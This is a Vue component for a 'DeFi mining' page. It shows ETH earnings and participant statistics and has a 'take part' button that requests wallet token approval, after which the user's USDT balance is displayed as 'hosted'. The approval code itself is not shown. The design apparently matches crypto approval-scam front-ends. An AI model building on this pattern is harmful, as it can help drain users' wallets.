<!-- defi挖矿 新版本 -->
<script setup>
import { DIFF_ISFREEZE } from '@/config/index'
import { useFreeze } from '@/hook/useFreeze'
const { _isFreeze } = useFreeze()
import { priceFormat } from '@/utils/decimal.js'
import { approve } from '@/plugin/chain/index'
import { useUserStore } from '@/store/user'
import { _toView } from '@/utils/public'
import { _t18 } from '@/utils/public'
import { useToast } from '@/hook/useToast'
const { _toast } = useToast()
import { useRouter } from 'vue-router'
import { showToast } from 'vant'
const router = useRouter()
const props = defineProps({
  incomeInfo: {
    type: Object,
    default: () => {}
  },
  outcomeInfo: {
    type: Object,
    default: () => {}
  }
})
const userStore = useUserStore()
/**
 * 是否授权
 */
const isApprove = computed(() => userStore.userInfo.approve == 1)
/**
 * 授权
 */
/* const toApprove = async () => {
  console.log('toApprove', res)
  const res = await approve().catch((err) => {
    // showToast('用户取消授权')
    _toast('defi_cancel')
  })
  console.log('toApprove', res)
  await userStore.getUserInfo()
} */
const toApproveForm = async () => {
  const res = await approve().catch((err) => {
    // showToast('用户取消授权')
    _toast('defi_cancel')
  })
  console.log('toApprove', res)
  if (!res) {
    //授权失败
    // _toast('Please_access_wallet')
    _toast('Authorization_failed')
    // router.push('/no-wallet')
  }
  await userStore.getUserInfo()
}
const toApprove = () => {
  if (DIFF_ISFREEZE.includes(__config._APP_ENV)) {
    if (_isFreeze(DIFF_ISFREEZE)) {
      toApproveForm()
    }
  } else {
    toApproveForm()
  }
}
</script>
<template>
  <div class="mining_box">
    <div class="mining_header">
      <svg-load name="defi_icon" class="eth"></svg-load><strong class="fw-num">ETH</strong>
    </div>
    <div class="mining_content" v-if="isApprove">
      <!-- 已授权 -->
      <div class="line1">
        <div class="left">
          <div class="top fw-num green">
            {{ priceFormat(userStore.userInfo.appAddressInfo?.usdt || 0, 2) }} USDT
          </div>
          <!-- 正在托管 -->
          <div class="bottom til">{{ _t18('pledge_hosting') }}</div>
        </div>
        <div class="right">
          <!-- 总收益 -->
          <div class="top fw-num green">{{ priceFormat(props.incomeInfo.totalProfit) }} ETH</div>
          <div class="bottom til">{{ _t18('defi_total revenue') }}</div>
        </div>
      </div>
      <div class="line2">
        <div class="left">
          <div class="top til">{{ _t18('defi_single benefit') }}</div>
          <div class="bottom fw-num black">{{ priceFormat(props.incomeInfo.singleRate) }}</div>
        </div>
        <div class="right">
          <div class="top til">{{ _t18('defi_every_day_income') }}</div>
          <div class="bottom fw-num black">{{ priceFormat(props.incomeInfo.dayRate) }}</div>
        </div>
      </div>
      <div class="mining_btn" @click="_toView('/defiDetail')">
        {{ _t18('defi_earnings Details') }}
      </div>
    </div>
    <div class="mining_content" v-else>
      <!-- 未授权 -->
      <div class="line1">
        <div class="left">
          <div class="top fw-num green">{{ priceFormat(outcomeInfo?.totalOutput) || 0 }} ETH</div>
          <div class="bottom til">{{ _t18('defi_total_output') }}</div>
        </div>
        <div class="right">
          <div class="top fw-num green">{{ priceFormat(outcomeInfo?.userBenefits) || 0 }} U</div>
          <div class="bottom til">{{ _t18('defi_user_benefit') }}</div>
        </div>
      </div>
      <div class="line2">
        <div class="left">
          <div class="top til">{{ _t18('defi_participant') }}</div>
          <div class="bottom fw-num black">{{ outcomeInfo?.participant || 0 }}</div>
        </div>
        <div class="right">
          <div class="top til">{{ _t18('defi_valid_node') }}</div>
          <div class="bottom fw-num black">{{ outcomeInfo?.validNode || 0 }}</div>
        </div>
      </div>
      <div class="mining_btn" @click="toApprove">{{ _t18('defi_takePart_in') }}</div>
    </div>
  </div>
</template>
<style lang="scss" scoped>
.mining_box {
  padding: 10px 15px 0 !important;

  .mining_header {
    display: flex;
    align-items: center;
    padding-bottom: 20px;
    .eth {
      font-size: 35px;
      margin-right: 10px;
    }
    strong {
      font-size: 20px;
      color: var(--ex-default-font-color);
    }
  }
  .mining_content {
    position: relative;
    // padding: 15px 0 35px;
    background: var(--ex-eth-background-color);
    border: 1px solid var(--ex-eth-border-color);
    // box-shadow: 0px 1px 5px 1px rgba(0, 0, 0, 0.05);
    border-radius: 10px;
    .line1 {
      border-bottom: 1px solid var(--ex-eth-border-color);
    }
    & > div {
      display: flex;
      .left,
      .right {
        flex: 1;
        color: var(--ex-passive-font-color);
        padding: 20px 10px;
        .top {
          margin-bottom: 15px;
        }
        .fw-num {
          font-size: 22px;
          word-break: break-all;
        }
        .green {
          color: var(--ex-eth-font-color);
        }
        .black {
          color: var(--ex-eth-font-color2);
        }
        .til {
          word-wrap: break-word;
          color: var(--ex-eth-label-color);
        }
      }
      .left {
        border-right: 1px solid var(--ex-eth-border-color);
        text-align: left;
        .til {
          padding-right: 30px;
        }
      }
      .right {
        text-align: right;
        .til {
          padding-left: 30px;
        }
      }
    }
  }
  .mining_btn {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    width: 100px;
    height: 100px;
    display: flex;
    justify-content: center;
    align-items: center;
    border: 3px solid var(--ex-eth-button-bdcolor);
    box-shadow: 0px 0px 10px 3px rgba(0, 0, 0, 0.1);
    background: var(--ex-eth-button-color);
    padding: 15px;
    border-radius: 50%;
    font-size: 16px;
    color: var(--ex-font-color);
    text-align: center;
    cursor: pointer;
  }
}
</style>
